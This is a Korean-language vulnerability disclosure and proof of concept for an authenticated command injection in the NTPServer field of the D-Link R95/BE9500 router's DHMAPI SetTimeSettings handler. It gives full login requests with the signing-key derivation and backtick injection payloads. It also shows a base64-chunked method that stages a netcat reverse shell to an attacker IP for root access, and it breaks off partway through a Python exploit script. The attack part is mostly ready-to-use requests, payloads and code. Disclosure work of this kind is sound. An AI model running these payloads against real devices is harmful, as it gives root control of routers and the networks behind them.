
D-Link R95/BE9500 DHMAPI SetTimeSettings의 인증된 명령 주입 PoC로, NTPServer 백틱 주입을 통해 root RCE를 달성하며, 전체 익스플로잇 스크립트를 포함합니다.
D-Link R95 BE9500 Wi-Fi 7 스마트 라우터(펌웨어 버전 BE9500_1.00.16)는 SetTimeSettings 요청을 처리할 때 DHMAPI(SOAP over HTTPS) 인터페이스에 명령 주입 취약점이 존재합니다. 사용자가 제어하는 <NTPServer> 필드는 셸 메타문자에 대한 어떠한 정제나 검증도 없이 구성 데이터베이스에 저장됩니다. 이후 구성이 UCI(ntpclient.@ntpserver[0].hostname)로 동기화될 때, 취약한 백엔드 서비스가 큰따옴표로 감싼 셸 명령을 구성하여 system()과 유사한 호출로 실행합니다. <NTPServer> 값에 백틱(```)을 주입함으로써 공격자는 명령 치환을 달성할 수 있습니다. 즉, 셸은 연결된 명령을 실행하기 전에 주입된 내용을 평가하므로, root(uid=0) 권한으로 임의 명령을 실행할 수 있습니다.
이 공격은 인증된 접근(관리자 계정 Admin으로 테스트됨)을 통해 획득한 유효한 웹 관리 세션(sid)을 필요로 합니다. 이 취약점은 장치의 취약한 기본 자격 증명이나 잠재적인 인증 우회 문제로 인해 더욱 증폭되어, 실제 공격 표면을 크게 확장시킵니다.
인증된 공격자는 root 권한으로 임의 명령을 실행할 수 있으며, 이는 민감한 파일 읽기(예: /etc/rg_config/admin 암호문, 전체 구성 백업 덤프), 지속적 백도어 설치, 리버스 셸 구축, 내부 네트워크로의 피벗을 통한 측면 이동 공격 등 장치의 완전한 장악으로 이어집니다.
이 취약점은 DHMAPI SOAP 인터페이스를 구현하는 웹 관리 백엔드 바이너리 /bin/ssi(root로 실행됨)에 존재합니다.
오염 소스(Taint source) — SetTimeSettings 핸들러(ssi, 펌웨어 1.01B06의 오프셋 0x6bd84에 위치한 함수):
<NTPServer> 필드를 스택 버퍼로 추출하며, 길이는 0x3f(63바이트)로 제한됩니다. 이는 버퍼 크기 제한일 뿐, 보안 검사가 아닙니다.time.value.NTPServer에 그대로 저장합니다. — 어느 시점에도 셸 메타문자에 대한 필터링이나 이스케이프가 수행되지 않습니다.오염 싱크(Taint sink) — UCI로의 구성 동기화. ssi는 구성 값을 셸 명령 문자열에 연결하여 system()과 유사한 호출로 실행함으로써 동기화합니다. 바이너리에서 발견된 내장 형식 문자열은 다음과 같습니다:
uci set %s="%s" > /dev/null
값이 큰따옴표로 감싸져 있기 때문에, 셸은 연결된 명령을 실행하기 전에 값 내부의 백틱(`) / $()에 대해 명령 치환을 수행합니다. ssi가 root로 실행되므로 주입된 명령은 root 권한으로 실행됩니다.
타이밍 증거는 평가가 요청 처리 경로 내에서 동기적으로 발생함을 확인시켜 줍니다. `sleep 10`을 주입하면 HTTP 응답이 약 10초 지연됩니다. 오염된 값은 추가로 UCI(ntpclient.@ntpserver[0].hostname)에 지속되며, 이후 /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)에 의해 따옴표 없이 소비되는데, 이는 2차적인 강화 격차입니다.
악용 제약 조건(검증됨):
| 제약 조건 | 검증된 결과 |
|---|---|
| 필드 길이 | ≤ 63바이트 허용; 60바이트 OK, 80바이트 거부(HTTP 400) |
& 문자 | 포함되어서는 안 됨(연결된 명령줄을 깨뜨림) |
| 주입 구문 | 백틱 `cmd` 검증됨; $(cmd)도 동일하게 작동할 것으로 예상됨 |
| 실행 컨텍스트 | uid=0(root) gid=0(root) |
| 출력 채널 | 직접 에코 없음; 웹 루트로 리다이렉트(> /www/<file>)하고 HTTP GET으로 검색 |
모든 DHMAPI 요청은 다음을 포함해야 합니다:
Cookie: uid=<session cookie> (로그인에서 획득)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction 헤더, 그리고 User-Agent와 Referer(UA/Referer 누락 시 HTTP 400/500 발생)ts는 밀리초 타임스탬프이며, 장치는 신선도를 검증하지 않으므로 고정 값을 재사용할 수 있습니다privkey 도출:
Login / Action=request(정적 키 문자열 withoutloginkey로 서명됨)는 Challenge, Cookie, PublicKey, SaltHash를 반환합니다e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (SaltHash가 없을 경우 평문 비밀번호)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login은 <LoginResult>success</LoginResult>를 반환합니다. 이후 요청은 privkey로 서명된 Cookie: uid=<step-1 Cookie>를 사용합니다POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
예상 결과: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
관찰된 응답 본문:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
HTTP 응답이 약 10초 지연됩니다. 정상적인 NTP 서버 이름은 즉시 반환됩니다.
63바이트 필드 제한은 스크립트를 base64 조각으로 작성하여 우회합니다:
SetTimeSettings 요청:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs 내용(busybox ash의 경우 파이프 주위에 필수 공백이 있음에 유의):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`결과: 공격자의 리스너에서 대화형 root 셸(~ #, BusyBox ash)이 수신됩니다.
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS